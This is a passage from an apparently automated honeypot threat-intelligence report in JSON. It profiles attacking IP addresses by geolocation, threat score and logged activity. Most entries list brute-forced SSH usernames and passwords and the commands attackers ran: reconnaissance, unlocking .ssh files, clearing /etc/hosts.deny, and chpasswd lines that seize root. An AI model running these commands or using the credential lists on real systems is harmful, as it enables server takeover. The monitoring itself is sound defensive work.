        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T16:17:18.417000+00:00",
        "last_seen_30d": "2026-05-30T21:26:17.199000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 960,
        "Suricata": 243
      }
    },
    "106.51.92.114": {
      "attack_count": 649,
      "first_seen": "2026-05-03T18:57:35.876Z",
      "last_seen": "2026-05-22T06:02:42.153Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "test",
        "app",
        "bash",
        "oracle",
        "user",
        "admins",
        "client",
        "daniel",
        "debian",
        "demo",
        "dengliu",
        "deployer",
        "developer",
        "dspace",
        "fileuser",
        "foundry"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123456789",
        "admin123",
        "password",
        "qwertyuiop",
        "!QAZ2wsx",
        "1",
        "12",
        "123",
        "123321...",
        "1234",
        "12345",
        "123456@abc",
        "123456a.",
        "123456aA@",
        "12345qwert!@#$%QWERT",
        "123546",
        "123izma123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"admin123\\nZWblmXfxUleY\\nZWblmXfxUleY\\n\"|passwd",
        "echo \"bash\\nYYOhvhqqI4ol\\nYYOhvhqqI4ol\\n\"|passwd",
        "echo \"root:PbEkrnLFLZ44\"|chpasswd|bash",
        "echo \"root:v7EGKqVjmi9d\"|chpasswd|bash",
        "echo -e \"admin123\\nZWblmXfxUleY\\nZWblmXfxUleY\"|passwd|bash",
        "echo -e \"bash\\nYYOhvhqqI4ol\\nYYOhvhqqI4ol\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 835,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:57:35.876000+00:00",
        "last_seen_30d": "2026-05-22T06:03:47.442000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 649,
        "Suricata": 186
      }
    },
    "158.220.87.74": {
      "attack_count": 364,
      "first_seen": "2026-05-02T09:11:30.066Z",
      "last_seen": "2026-05-02T09:20:06.192Z",
      "sessions": 182,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Portsmouth",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 547,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:11:30.066000+00:00",
        "last_seen_30d": "2026-05-02T09:21:16.285000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 364,
        "Suricata": 183
      }
    },
    "187.45.95.66": {
      "attack_count": 338,
      "first_seen": "2026-05-06T09:17:13.633Z",
      "last_seen": "2026-05-30T08:48:06.233Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "ubuntu",
        "345gs5662d34",
        "marc",
        "test",
        "tmpuser",
        "user",
        "arma3server",
        "b",
        "debian",
        "demo",
        "deploy",
        "deployer",
        "dev2",
        "elasticuser",
        "extern",
        "git",
        "guest",
        "hadoop"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "12345",
        "123456",
        "123456qq",
        "123qwe",
        "123qwe!@#QWE",
        "12qwaszx",
        "1qaz",
        "Pa55word",
        "Qaz123!@#",
        "a",
        "a123",
        "admin",
        "admin1010",
        "admin789",
        "admin@2017"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\n05hCt4PTFzRs\\n05hCt4PTFzRs\\n\"|passwd",
        "echo \"tmpuser\\nT4i5SeFfEtGy\\nT4i5SeFfEtGy\\n\"|passwd",
        "echo -e \"1234\\n05hCt4PTFzRs\\n05hCt4PTFzRs\"|passwd|bash",
        "echo -e \"tmpuser\\nT4i5SeFfEtGy\\nT4i5SeFfEtGy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Riach\u00e3o do Bacamarte",
      "asn": 28135,
      "as_org": "ASSOCIACAO NACIONAL PARA INCLUSAO DIGITAL - ANID",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.4,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 437,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:17:13.633000+00:00",
        "last_seen_30d": "2026-05-30T08:49:13.748000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 338,
        "Suricata": 99
      }
    },
    "103.211.59.6": {
      "attack_count": 314,
      "first_seen": "2026-05-16T18:02:56.390Z",
      "last_seen": "2026-05-16T18:50:34.751Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qwe",
        "0o9i8u7y",
        "20192019",
        "Server@1234",
        "admin12345",
        "azertyuiop",
        "carina",
        "freedom",
        "haha12345",
        "hansolo",
        "killemall",
        "liguo!987",
        "lydie",
        "qawsed",
        "spamfilter",
        "sybasepass",
        "tmproot",
        "warnightkardesim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:UEwpGfClkMqe\"|chpasswd|bash",
        "echo \"root:sbKuWYzbZ35r\"|chpasswd|bash",
        "echo \"root:vdYzF7Ws2nt5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 59162,
      "as_org": "U.P. COMMUNICATION SERVICES PVT LTD",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 378,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:02:56.390000+00:00",
        "last_seen_30d": "2026-05-16T18:51:37.479000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 64
      }
    },
    "43.135.139.206": {
      "attack_count": 307,
      "first_seen": "2026-05-17T23:53:57.608Z",
      "last_seen": "2026-05-18T00:20:24.494Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huawei",
        "igor",
        "jose",
        "anaconda",
        "andrey",
        "grid",
        "nexus",
        "nokia",
        "root123",
        "rootuser",
        "sherry",
        "student2",
        "suporte",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234567@",
        "123456A@",
        "1q2w3e",
        "Qaz12345678!",
        "anaconda",
        "andrey",
        "grid",
        "huawei@123",
        "igor",
        "nexus!123",
        "nokia123",
        "password",
        "qweqwe123.",
        "root123",
        "rootuser@2026",
        "server@2021",
        "sherry123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"huawei@123\\nciu8F93SqRjt\\nciu8F93SqRjt\\n\"|passwd",
        "echo \"igor\\nMPyFqrcBrXJ5\\nMPyFqrcBrXJ5\\n\"|passwd",
        "echo \"password\\n0nnAwhQ470VS\\n0nnAwhQ470VS\\n\"|passwd",
        "echo -e \"huawei@123\\nciu8F93SqRjt\\nciu8F93SqRjt\"|passwd|bash",
        "echo -e \"igor\\nMPyFqrcBrXJ5\\nMPyFqrcBrXJ5\"|passwd|bash",
        "echo -e \"password\\n0nnAwhQ470VS\\n0nnAwhQ470VS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 364,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:53:57.608000+00:00",
        "last_seen_30d": "2026-05-18T00:21:30.565000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 57
      }
    },
    "43.134.142.173": {
      "attack_count": 304,
      "first_seen": "2026-05-18T12:57:07.164Z",
      "last_seen": "2026-05-18T13:23:00.076Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456qwe",
        "1905",
        "23wesdxc",
        "987654321",
        "A123456bc",
        "ZAQ!2wsx",
        "admin2000",
        "anaconda",
        "c8h10n4o2",
        "dinesh@123",
        "founder",
        "hallo",
        "hellonetwork",
        "jerome",
        "joey",
        "kran",
        "pakistan",
        "qwerty1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DrNgijvEd7vF\"|chpasswd|bash",
        "echo \"root:Fc70ZTPkI009\"|chpasswd|bash",
        "echo \"root:o7k5EMq0dk41\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 21.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:57:07.164000+00:00",
        "last_seen_30d": "2026-05-18T13:24:04.397000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "123.171.32.98": {
      "attack_count": 258,
      "first_seen": "2026-05-21T06:37:30.394Z",
      "last_seen": "2026-05-23T09:50:35.281Z",
      "sessions": 129,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:37:30.394000+00:00",
        "last_seen_30d": "2026-05-23T09:51:36.952000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 258,
        "Suricata": 137
      }
    },
    "170.106.141.184": {
      "attack_count": 246,
      "first_seen": "2026-05-17T03:30:20.840Z",
      "last_seen": "2026-05-17T03:56:25.964Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456liu",
        "1q2w3e4r?",
        "20192019",
        "Root12345!",
        "Root@storage",
        "blahblah",
        "burhan123",
        "coolkid",
        "dis123",
        "draden",
        "eagle1",
        "gmodserver4",
        "heist",
        "k0nig12*",
        "locust",
        "maustin",
        "mihai",
        "motdepasse"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:4rgaXkH72g9u\"|chpasswd|bash",
        "echo \"root:bcVOL8LYXcGS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:30:20.840000+00:00",
        "last_seen_30d": "2026-05-17T03:57:34.690000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 57
      }
    },
    "192.169.250.238": {
      "attack_count": 243,
      "first_seen": "2026-05-19T22:18:21.938Z",
      "last_seen": "2026-05-19T22:45:45.146Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "rodrigo",
        "admin",
        "cesar",
        "claude",
        "ddd",
        "leo",
        "odoo17",
        "readonly",
        "ubuntu",
        "upgrade",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456Qwe",
        "123@",
        "1qaZXsw2",
        "Claude2026!",
        "Q1w2e3r4t5!",
        "Qwe123456789",
        "abc@123!@#",
        "cesar",
        "ddd",
        "deploy@2022",
        "dj123456",
        "k8s@2023",
        "leo123",
        "password123",
        "qwertyu",
        "rodrigo"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"deploy@2022\\nNAKEbWJc1Hup\\nNAKEbWJc1Hup\\n\"|passwd",
        "echo \"rodrigo\\nKyJJ3PvzUfw2\\nKyJJ3PvzUfw2\\n\"|passwd",
        "echo -e \"deploy@2022\\nNAKEbWJc1Hup\\nNAKEbWJc1Hup\"|passwd|bash",
        "echo -e \"rodrigo\\nKyJJ3PvzUfw2\\nKyJJ3PvzUfw2\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:18:21.938000+00:00",
        "last_seen_30d": "2026-05-19T22:46:54.597000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 56
      }
    },
    "101.100.200.28": {
      "attack_count": 239,
      "first_seen": "2026-05-17T03:27:22.909Z",
      "last_seen": "2026-05-17T04:10:56.898Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456liu",
        "20192019",
        "Root12345!",
        "Root@storage",
        "burhan123",
        "coolkid",
        "dis123",
        "draden",
        "eagle1",
        "gmodserver4",
        "k0nig12*",
        "locust",
        "maustin",
        "motdepasse",
        "shop1",
        "usuario1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:1lJDgWZH6A47\"|chpasswd|bash",
        "echo \"root:oU6fYWQKq0nk\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 38719,
      "as_org": "Dreamscape Networks Limited",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:27:22.909000+00:00",
        "last_seen_30d": "2026-05-17T04:12:01.634000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 239,
        "Suricata": 60
      }
    },
    "156.238.224.50": {
      "attack_count": 219,
      "first_seen": "2026-05-06T16:32:39.627Z",
      "last_seen": "2026-05-06T16:56:59.970Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "mcadmin",
        "root",
        "345gs5662d34",
        "admin",
        "administrator",
        "bitrix",
        "deploy",
        "deployer",
        "djangoadmin",
        "git",
        "gpadmin",
        "guest",
        "guestguest",
        "maint",
        "mysql",
        "odoo11",
        "postgres",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "123456",
        "12345678",
        "1234567890",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233",
        "Admin123",
        "Passw0rd",
        "Password1",
        "a",
        "admin",
        "admin1234567890",
        "adminimda",
        "djangoadmin",
        "ftp321",
        "ghbdtn",
        "guest",
        "mcadmin"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mcadmin\\nUGWy8T7khdAY\\nUGWy8T7khdAY\\n\"|passwd",
        "echo -e \"mcadmin\\nUGWy8T7khdAY\\nUGWy8T7khdAY\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 8796,
      "as_org": "FASTNET DATA INC",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T16:32:39.627000+00:00",
        "last_seen_30d": "2026-05-06T16:58:05.596000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 69
      }
    },
    "89.37.117.71": {
      "attack_count": 204,
      "first_seen": "2026-05-03T20:37:53.393Z",
      "last_seen": "2026-05-31T10:25:55.896Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.8,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 238,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T20:37:53.393000+00:00",
        "last_seen_30d": "2026-05-31T10:26:59.372000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 136,
        "Suricata": 102
      }
    },
    "36.34.82.54": {
      "attack_count": 202,
      "first_seen": "2026-05-22T10:21:40.703Z",
      "last_seen": "2026-05-22T20:29:17.413Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:21:40.703000+00:00",
        "last_seen_30d": "2026-05-22T20:30:31.189000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 109
      }
    },
    "14.194.62.218": {
      "attack_count": 199,
